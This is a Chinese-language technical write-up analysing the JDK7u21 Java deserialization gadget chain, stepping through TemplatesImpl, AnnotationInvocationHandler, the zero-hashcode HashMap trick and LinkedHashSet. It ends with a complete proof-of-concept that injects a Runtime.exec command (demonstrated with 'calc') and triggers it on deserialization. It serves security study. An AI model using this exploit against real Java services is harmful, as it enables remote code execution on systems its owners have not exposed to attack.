概述

JDK7u21 反序列化漏洞所用到的类都是 JDK 自带类,对其做了详细分析,记录一下.

主要涉及类和接口包括:LinkedHashSet、HashSet、HashMap、TemplatesImpl、AbstractTranslet、Proxy、AnnotationInvocationHandler.

涉及知识点:Java 反序列化、反射、动态代理.

环境:jdk1.7.0_21、IDEA 2019.2

分析过程

TemplatesImpl class

getTransletInstance() 方法

当 _class 字段为 null 时,会调用 defineTransletClasses() 方法,然后执行 _class[_transletIndex].newInstance() 语句( newInstance() 会调用 _class[_transletIndex] 的无参构造方法,生成类实例对象).

private Translet getTransletInstance() throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setServicesMechnism(_useServicesMechanism);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (InstantiationException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (IllegalAccessException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

defineTransletClasses() 方法分析

private void defineTransletClasses() throws TransformerConfigurationException {

    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader());
            }
        });

    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new Hashtable();
        }
        // 遍历 _bytecodes(byte[][]) 数组,使用类加载器将字节码转化为 Class
        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            // 获取 Class 的父类
            final Class superClass = _class[i].getSuperclass();

            // 如果 Class 的父类名是 "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet",为 _transletIndex 赋值,否则调用 Hashtable 的 put 方法为 _auxClasses 字段增加值
            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

        if (_transletIndex < 0) {
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
    catch (ClassFormatError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (LinkageError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }   
}

调用 getTransletInstance() 方法在 newTransformer() 方法中也有调用,并且不需要前置条件即可调用. 所以实际调用 newTransformer() 或 getTransletInstance() 方法都可以.

_bytecodes field

首先构造 Foo 类,该类实现了 Serializable 序列化接口.然后使用 ClassPool 修改 Foo 类,因为为 _transletIndex 设置值时,父类名必须为 "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet",所以调用 clazz.setSuperclass(xxx) 设置 Foo 类的父类.另外调用类的无参构造方法时触发我们想要执行的代码,所以可以给 Foo 类的默认构造方法添加我们想执行的代码,或者构造静态代码块添加我们想执行的代码.

1、通过 ClassPool 构造字节码.

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
    throws Exception {
    final T templates = tplClass.newInstance();

    // use template gadget class
    ClassPool pool = ClassPool.getDefault();

    // 新增搜索路径到 pathList 中
    pool.insertClassPath(new ClassClassPath(Foo.class));
    pool.insertClassPath(new ClassClassPath(abstTranslet));

    // 先后从缓存和 pathList 中寻找 Foo 类,返回 CtClass 对象
    final CtClass clazz = pool.get(Foo.class.getName());

    // 构造静态初始化语句,后面用到
    String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";

    // 在类中设置静态初始化语句
    clazz.makeClassInitializer().insertBefore(cmd);

    // 设置类名
    clazz.setName("com.Pwner");

    // 先后从缓存和 pathList 中寻找 abstTranslet 类,返回 CtClass 对象
    CtClass superC = pool.get(abstTranslet.getName());

    // 设置父类为 abstTranslet
    clazz.setSuperclass(superC);

    // 将类转换为二进制
    final byte[] classBytes = clazz.toBytecode();

    // 使用 Reflections 反射框架为 _bytecodes 字段赋值
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
    });

    // 使用 Reflections 反射框架为 _name 字段赋值
    Reflections.setFieldValue(templates, "_name", "Pwner");

    return templates;
    }

    public static class Foo implements Serializable {

    private static final long serialVersionUID = 8207363842866235160L;
}

2、直接构造 Java 类,生成 class 文件,读取 class 文件并转换为字节码数组.

构造 Java 类

Foo.java

import java.lang.Runtime;
import java.io.Serializable;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;

public class Foo extends AbstractTranslet implements Serializable {
    private static final long serialVersionUID = 8207363842866235160L;

    public Foo(){
        try{
            java.lang.Runtime.getRuntime().exec("calc");
        }catch(Exception e){
            System.out.println("exec Exception");
        }
    }

    public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}


    @Override
    public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}

}

读取 class 文件,生成字节码数组

InputStream in = new FileInputStream("class path");
byte[] data = toByteArray(in);

private static byte[] toByteArray(InputStream in) throws IOException {

    ByteArrayOutputStream out = new ByteArrayOutputStream();
    byte[] buffer = new byte[1024 * 4];
    int n = 0;
    while ((n = in.read(buffer)) != -1) {
        out.write(buffer, 0, n);
    }
    return out.toByteArray();
}

将生成的字节码通过 Reflections 反射框架为 _bytecodes 字段赋值,这时 TemplatesImpl 对象就已经构造好了,只需要调用
newTransformer() 或 getTransletInstance() 方法即可触发.

AnnotationInvocationHandler class

由上面知道,我们需要找到一个序列化类,并且此序列化类能够调用 TemplatesImpl 对象的 newTransformer() 或 getTransletInstance() 方法. AnnotationInvocationHandler 类中的 equalsImpl 方法正好符合.

AnnotationInvocationHandler 类中存在 var8 = var5.invoke(var1); 语句(通过反射调用 var1 对象的 var5 方法),分析一下 equalsImpl 方法.

private Boolean equalsImpl(Object var1) {
    // 判断 var1 和 this 对象是否相等
    if (var1 == this) {
        return true;
    // 判断 var1 对象是否被转化为 this.type 类
    } else if (!this.type.isInstance(var1)) {
        return false;
    } else {
        // 根据 this.type 获取本类的所有方法
        Method[] var2 = this.getMemberMethods();
        int var3 = var2.length;

        // 遍历从 this.type 类中获取的方法
        for(int var4 = 0; var4 < var3; ++var4) {
            Method var5 = var2[var4];
            String var6 = var5.getName();
            // 查看 this.memberValues 中是否存在 key 为 this.type 类中的方法名
            Object var7 = this.memberValues.get(var6);
            Object var8 = null;
            // var1 如果为代理类并且为 AnnotationInvocationHandler 类型,返回 Proxy.getInvocationHandler(var1).否则返回 null
            AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
            // var9 不等于 null 时,执行 if 语句,否则执行 else 语句
            if (var9 != null) {
                var8 = var9.memberValues.get(var6);
            } else {
                try {
                    // 调用 var1 对象的 var5 方法.  如:getOutputProperties.invoke(templatesImpl),就会调用 templatesImpl 对象的 getOutputProperties 方法
                    var8 = var5.invoke(var1);
                } catch (InvocationTargetException var11) {
                    return false;
                } catch (IllegalAccessException var12) {
                    throw new AssertionError(var12);
                }
            }

            if (!memberValueEquals(var7, var8)) {
                return false;
            }
        }

        return true;
    }
}

所以当我们调用 equalsImpl 方法,并且想要成功执行到 var5.invoke(var1) 时,需要满足几个条件:

1、var1 != this;

2、var1 对象能够转化为 this.type 类型,this.type 应该为 var1 对应类的本类或父类;

3、this.asOneOfUs(var1) 返回 null.

而想要通过反射执行 TemplatesImpl 对象的方法, var1 应该为 TemplatesImpl 对象,var5 应该为 TemplatesImpl 类中的方法,而 var5 方法是从 this.type 类中获取到的.通过查看 TemplatesImpl 类,javax.xml.transform.Templates 接口正好符合,这里最终会调用 getOutputProperties 方法.

equalsImpl 方法的调用在 invoke 方法中.分析 invoke 方法,想要调用 equalsImpl 方法,需要满足:

1、var2 方法名应该为 equals;

2、var2 方法的形参个数为 1;

3、var2 方法的形参类型为 Object 类型.

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else {
        assert var5.length == 0;

        if (var4.equals("toString")) {
            return this.toStringImpl();
        } else if (var4.equals("hashCode")) {
            return this.hashCodeImpl();
        } else if (var4.equals("annotationType")) {
            return this.type;
        } else {
            Object var6 = this.memberValues.get(var4);
            if (var6 == null) {
                throw new IncompleteAnnotationException(this.type, var4);
            } else if (var6 instanceof ExceptionProxy) {
                throw ((ExceptionProxy)var6).generateException();
            } else {
                if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                    var6 = this.cloneArray(var6);
                }

                return var6;
            }
        }
    }
}

Annotationinvocationhandler 类 invoke 方法的调用涉及 Java 的动态代理机制,动态代理这里不再详细叙述,直构造代码:

TemplatesImpl templatesImpl = createTemplatesImpl("calc", TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

HashMap map = new HashMap();
map.put(zeroHashCodeStr, "sss");

// 使用 Reflections 反射框架创建 AnnotationInvocationHandler 对象,并设置 type 和 memberValues 字段值
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").
                newInstance(Templates.class, map);

final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class,1);
allIfaces[0] = Templates.class;

//  生成代理类,实现 Templates 接口,代理对象为创建的 AnnotationInvocationHandler 对象
Templates templates = (Templates)Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), allIfaces, tempHandler);

templates.equals(templatesImpl);

通过执行 templates.equals(templatesImpl); 最终触发我们想要执行的语句.

HashMap class

通过以上我们知道,最终需要调用 templates.equals(templatesImpl); 才能触发我们想要执行的语句.

在 HashMap 的 put 方法中存在 key.equals(k) 语句,如果 key 为 templates 对象,k 为 templatesImpl 对象,则正好触发我们构造的调用链.但是执行 key.equals(k) 语句需要有前提条件:

1、HashMap 存入两个 key 的 hash 值相等,并且 indexFor 计算的 i 相等;

2、前一个 HashMap 对象值的 key 值不等于现在存入的 key 值;

3、现在存入的 key 值为 templates 对象,上一个存入的 key 值为 templatesImpl 对象.

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

所以我们可以进行像这样构造. 但是发现前提条件 1 并没有满足,所以需要看一下 hash 方法.

HashMap hashmap = new HashMap();
    hashmap.put(templatesImpl, "templatesImpl");
    hashmap.put(templates, "templates");

hash 方法中实际调用了传入 k 的 hashCode 方法. 所以实际调用的是 templatesImpl 和 templates 对象的 hashCode 方法.

final int hash(Object k) {
    int h = 0;
    if (useAltHashing) {
        if (k instanceof String) {
            return sun.misc.Hashing.stringHash32((String) k);
        }
        h = hashSeed;
    }

    h ^= k.hashCode();

    // This function ensures that hashCodes that differ only by
    // constant multiples at each bit position have a bounded
    // number of collisions (approximately 8 at default load factor).
    h ^= (h >>> 20) ^ (h >>> 12);
    return h ^ (h >>> 7) ^ (h >>> 4);
}

TemplatesImpl 类没有重写 hashCode 方法,调用默认的 hashCode 方法.templates 对象对应的代理类重写了 hashCode 方法,实际调用 AnnotationInvocationHandler 类的 hashCodeImpl 方法.分析一下这个方法, 发现这个方法会遍历 this.memberValues,每次用上一次计算的值加上 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue()),而 memberValueHashCode 方法中知道,如果 this.memberValues 值的 value 值的类不是数组,就会返回该 value 值的 hashCode 值.如果 this.memberValues 只有一个 map 对象,并且 127 * ((String)var3.getKey()).hashCode() 计算的值为零,map 对象的 value 值为 templatesImpl 对象时,能够使得 HashMap 两次 put 值的 key 值相等.所以在创建 AnnotationInvocationHandler 对象时,传入的 map 对象,key 的 hashCode 值应该为零,value 值为 templatesImpl 对象.

private int hashCodeImpl() {
    int var1 = 0;

    Entry var3;
    for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
        var3 = (Entry)var2.next();
    }

    return var1;
}

这时我们构造的代码如下:

TemplatesImpl templatesImpl = createTemplatesImpl("calc", TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

String zeroHashCodeStr = "f5a5a608";

HashMap map = new HashMap();
map.put(zeroHashCodeStr, templatesImpl);

System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").
        newInstance(Templates.class, map);

final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class,1);
allIfaces[0] = Templates.class;
Templates templates = (Templates)Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), allIfaces, tempHandler);

HashMap hashmap = new HashMap();
hashmap.put(templatesImpl, "templatesImpl");
hashmap.put(templates, "templates");

LinkedHashSet class

我们最终是要通过反序列化里触发我们的调用链,所以我们需要在 readObject 反序列化方法中寻找是否有调用 map 的 put 方法.在 HashSet 的 readObject 反序列化方法中会循环往 map 对象中 put 值.根据 writeObject 序列化我们知道,每次写入的对象为 map 的 key 值.所以我们创建的 LinkedHashSet 对象时,首先写入 templatesImpl 对象,然后写入 templates.然后调用 writeObject 写入 LinkedHashSet 对象.使用 LinkedHashSet 来添加值是因为 LinkedHashSet 能够保证值的加入顺序.

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in any hidden serialization magic
    s.defaultReadObject();

    // Read in HashMap capacity and load factor and create backing HashMap
    int capacity = s.readInt();
    float loadFactor = s.readFloat();
    map = (((HashSet)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));

    // Read in size
    int size = s.readInt();

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        E e = (E) s.readObject();
        map.put(e, PRESENT);
    }
}

POC

最终 POC 如下:

public class JDK7u21 {

public static void main(String[] args) throws Exception {

    TemplatesImpl templatesImpl = createTemplatesImpl("calc", TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

    String zeroHashCodeStr = "f5a5a608";

    HashMap map = new HashMap();
    map.put(zeroHashCodeStr, "ssss");

    System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");

    InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").
            newInstance(Templates.class, map);

    final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class,1);
    allIfaces[0] = Templates.class;
    Templates templates = (Templates)Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), allIfaces, tempHandler);

    LinkedHashSet set = new LinkedHashSet();
    set.add(templatesImpl);
    set.add(templates);

    // 此处将 key 为 "f5a5a608" 的 map 对象的 value 值设置为 templatesImpl 是因为如果在 set.add(templates) 之前设置,则会令 LinkedHashSet 两次增加的 hash 值相等,在写入序列化对象前触发调用链. 
    map.put(zeroHashCodeStr, templatesImpl);


    //序列化
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("D://JDK7u21.ser")));
    objectOutputStream.writeObject(set);//序列化对象
    objectOutputStream.flush();
    objectOutputStream.close();


    ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D://JDK7u21.ser"));
    objectInputStream.readObject();
}


public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
        throws Exception {
    final T templates = tplClass.newInstance();
    // use template gadget class
    ClassPool pool = ClassPool.getDefault();
    // 新增搜索路径到 pathList 中
    pool.insertClassPath(new ClassClassPath(Foo.class));
    pool.insertClassPath(new ClassClassPath(abstTranslet));
    // 先后从缓存和 pathList 中寻找 Foo 类,返回 CtClass 对象
    final CtClass clazz = pool.get(Foo.class.getName());
    // 构造静态初始化语句,后面用到
    String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";
    // 在类中设置静态初始化语句
    clazz.makeClassInitializer().insertBefore(cmd);
    // 设置类名
    clazz.setName("com.Pwner");
    // 先后从缓存和 pathList 中寻找 abstTranslet 类,返回 CtClass 对象
    CtClass superC = pool.get(abstTranslet.getName());
    // 设置父类为 abstTranslet
    clazz.setSuperclass(superC);
    // 将类转换为二进制
    final byte[] classBytes = clazz.toBytecode();

    /*InputStream in = new FileInputStream("F:\\Foo.class");
    byte[] data = toByteArray(in);*/

    // 使用 Reflections 反射框架为 _bytecodes 字段赋值
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
    });
    // 使用 Reflections 反射框架为 _name 字段赋值
    Reflections.setFieldValue(templates, "_name", "Pwner");

    return templates;
}


public static class Foo implements Serializable {

    private static final long serialVersionUID = 8207363842866235160L;
}

}

参考

https://gist.github.com/frohoff/24af7913611f8406eaf3

https://sec.xiaomi.com/article/41